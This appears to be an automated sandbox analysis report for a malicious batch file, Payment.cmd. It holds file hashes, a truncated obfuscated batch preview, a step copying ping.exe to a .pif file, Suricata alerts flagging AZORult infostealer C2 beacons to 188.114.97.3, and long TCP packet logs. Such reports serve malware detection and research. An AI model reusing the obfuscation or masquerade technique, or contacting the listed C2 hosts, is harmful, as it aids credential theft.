                                                                                    SHA-512:B5D47BE9A3D57FF17DB03CB3EBCBA60DAB38CA777392ED949FCCE644B6AF593E33B903CF30A4DE8756E51EDB88CDE9A0DFA702B8B45057714094DAE4574ED47D
                                                                                    Malicious:false
                                                                                    Preview:..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\ping.exe...Destination File: C:\\Users\\Public\\xpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... |----|----|----|----|----|----|----|----|----|----|... ..........................................................Total bytes read = 0x4a00 (18944) (0 MB)....Total bytes written = 0x5000 (20480) (0 MB).......Operation completed successfully in 0.79 seconds.....

                                                                                    Static File Info

                                                                                    General

                                                                                    File type:Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
                                                                                    Entropy (8bit):5.0021599952268385
                                                                                    TrID:
                                                                                    • MP3 audio (ID3 v1.x tag) (2501/1) 45.44%
                                                                                    • Text - UTF-16 (LE) encoded (2002/1) 36.37%
                                                                                    • MP3 audio (1001/1) 18.19%
                                                                                    File name:Payment.cmd
                                                                                    File size:5'948'081 bytes
                                                                                    MD5:b1ab5fb314f925da8eaa1b3a20d2b0ef
                                                                                    SHA1:df9ea2eade86b5fa44b8431884e6eb33dd5504d6
                                                                                    SHA256:9802bfe473af785aa10e169d5b158fb8f2b840e2e9f35e260461f3e3e29f0733
                                                                                    SHA512:e6bc5e7760cd011eb29bc93336bba62e37fd8d55f6e556feb835182034e6597605726a04dd2fea9d99840d92c6fbc2d704135fa9ff52c4e2b86a5db6677984fc
                                                                                    SSDEEP:49152:ZwK2BZTiuXlB6naHbioM2VXXATTZdVrcL5XpSu5z4AHpeqN4d9l8H2mZK/HBkEOp:Q
                                                                                    TLSH:2A568707D4CB10D33B0897FB534BA5518892E7371DAEAA843AC5317C4E22B5EFE546AC
                                                                                    File Content Preview:..&@cls&@set "_....=psBd0vn36bT aPVY8hqoFf@DtziXKUZOCI9MEwgl5j427NuWcGJrSQL1RxmkeyHA"..%_....:~22,1%%_....:~1,1%%_....:~60,1%%_....:~24,1%%_....:~11,1%"_....=%_....:~6,1%%_....:~0,1%%_....:~27,1%%_....:~52,1%%_....:~60,1%%_....:~54,1%%_....:~48,1%%_....:~

                                                                                    File Icon

                                                                                    Icon Hash:9686878b929a9886

                                                                                    Network Behavior

                                                                                    Suricata IDS Alerts

                                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                    2024-10-16T10:58:06.263734+02002029467ET MALWARE Win32/AZORult V3.3 Client Checkin M141192.168.2.649735188.114.97.380TCP
                                                                                    2024-10-16T10:58:06.263734+02002810276ETPRO MALWARE AZORult CnC Beacon M11192.168.2.649735188.114.97.380TCP
                                                                                    2024-10-16T10:58:06.616510+02002029136ET MALWARE AZORult v3.3 Server Response M11188.114.97.380192.168.2.649735TCP
                                                                                    2024-10-16T10:58:14.807840+02002029467ET MALWARE Win32/AZORult V3.3 Client Checkin M141192.168.2.649791188.114.97.380TCP
                                                                                    2024-10-16T10:58:18.694473+02002029467ET MALWARE Win32/AZORult V3.3 Client Checkin M141192.168.2.649802188.114.97.380TCP
                                                                                    2024-10-16T10:58:18.694473+02002810276ETPRO MALWARE AZORult CnC Beacon M11192.168.2.649802188.114.97.380TCP
                                                                                    2024-10-16T10:58:18.922884+02002029136ET MALWARE AZORult v3.3 Server Response M11188.114.97.380192.168.2.649802TCP
                                                                                    2024-10-16T10:58:27.135743+02002029467ET MALWARE Win32/AZORult V3.3 Client Checkin M141192.168.2.649850188.114.97.380TCP

                                                                                    Network Port Distribution

                                                                                    TCP Packets

                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                    Oct 16, 2024 10:57:57.528500080 CEST49711443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.528525114 CEST44349711170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:57.528649092 CEST49711443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.528811932 CEST49711443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.528855085 CEST44349711170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:57.530512094 CEST49711443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.581671000 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.581736088 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:57.581834078 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.584748030 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:57.584774017 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.284509897 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.284673929 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.288058043 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.288068056 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.288458109 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.333437920 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.375412941 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.495213032 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.542772055 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.612313986 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612327099 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612360001 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612374067 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612386942 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612394094 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.612446070 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.612483978 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.612483978 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.612518072 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.729304075 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.729326010 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.729430914 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:58.729484081 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:58.729546070 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.231029987 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.231043100 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.231077909 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.231175900 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.231245041 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.231281996 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.231319904 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.233294010 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.233314037 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.233366966 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.233388901 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.233413935 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.233441114 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.234816074 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.234836102 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.234894991 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.234913111 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.234942913 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.234961987 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.237216949 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.237236023 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.237281084 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.237292051 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.237318993 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.237335920 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.314745903 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.314768076 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.314851999 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.314871073 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.314904928 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.314923048 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.355820894 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.355840921 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.355921984 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.355950117 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.356005907 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.473067045 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.473129034 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.473211050 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.473295927 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.473337889 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.473362923 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.548738956 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.548762083 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.548826933 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.548850060 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.548881054 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.548899889 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.665640116 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.665673018 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.665741920 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.665790081 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.665885925 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.665885925 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.707067966 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.707127094 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.707191944 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.707236052 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.707269907 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.707293987 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.824279070 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.824331999 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.824378014 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.824440956 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.824479103 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.824501991 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.900053024 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.900099993 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.900151968 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.900223017 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.900264978 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.900290012 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.941298008 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.941345930 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.941409111 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.941459894 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:57:59.941490889 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:57:59.941514015 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.058114052 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.058176041 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.058229923 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.058301926 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.058341980 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.058366060 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.134169102 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.134192944 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.134248972 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.134305000 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.134339094 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.134365082 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.175103903 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.175128937 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.175329924 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.175395966 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.175477982 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.291635036 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.291663885 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.291814089 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.291862965 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.291933060 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.292149067 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.292167902 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.292227983 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.292246103 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.292298079 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.408699036 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.408730030 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.408792019 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.408858061 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.408894062 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.408920050 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.485517979 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.485548019 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.485651016 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.485712051 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.485769987 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.526129961 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.526164055 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.526225090 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.526293993 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.526333094 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.526359081 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.602153063 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.602180958 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.602252960 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.602289915 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.602317095 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.602336884 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.643030882 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.643060923 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.643138885 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.643209934 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.643248081 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.643270969 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.728641033 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.728669882 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.728831053 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.728831053 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.728900909 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.728969097 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.761324883 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.761349916 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.761406898 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.761457920 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.761491060 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.761514902 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.846000910 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.846024036 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.846126080 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.846174002 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.846246958 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.878341913 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.878365040 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.878412962 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.878446102 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.878477097 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.878499985 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.918243885 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.918267965 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.918329954 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.918345928 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.918376923 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.918397903 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.995251894 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.995280981 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.995367050 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.995412111 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.995466948 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.996228933 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.996248960 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.996299028 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.996309996 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:00.996330023 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:00.996355057 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.080379963 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.080404997 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.080466032 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.080483913 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.080499887 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.080524921 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.113008022 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113034010 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113081932 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.113104105 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113116980 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.113146067 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.113152027 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113164902 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113210917 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.113219023 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113234997 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.113276005 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.115233898 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.115247965 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:01.115257025 CEST49712443192.168.2.6170.10.161.45
                                                                                    Oct 16, 2024 10:58:01.115261078 CEST44349712170.10.161.45192.168.2.6
                                                                                    Oct 16, 2024 10:58:04.449448109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:04.454508066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:04.454585075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:04.455368042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:04.460285902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263660908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263686895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263703108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263734102 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263803005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263808966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263827085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263850927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263865948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263874054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263883114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263897896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263909101 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263921976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.263927937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263955116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.263976097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.269046068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.269072056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.269084930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.269100904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.269139051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.269139051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.381099939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.381119967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.381134987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.381226063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.381230116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.381289005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.381289005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.476749897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.476775885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.476790905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.476840019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.476855993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.476911068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.476980925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.477125883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.477252960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.477267027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:06.477329969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.477329969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:06.477483034 CEST8049735188.114.97.3192.168.2.6
